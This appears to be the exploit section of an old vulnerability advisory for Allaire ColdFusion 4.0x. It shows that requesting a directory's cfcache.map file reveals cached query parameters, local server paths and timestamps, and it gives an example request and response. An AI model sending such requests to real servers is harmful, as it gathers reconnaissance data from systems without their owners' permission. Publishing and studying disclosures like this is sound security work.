• info
• discussion
• exploit
• solution
• references

Allaire ColdFusion 4.0x CFCACHE Vulnerability

For any cfm file, request the corresponding cfcache.map file.

For example, for the file:
http ://server/path/info.cfm
request:
http ://server/path/cfcache.map

The returned file will look something like this:

[info.cfm?product_id=9]
Mapping=C:\Inetpub\wwwroot\path\CFC155.tmp
SourceTimeStamp=10/06/1999 08:02:06 AM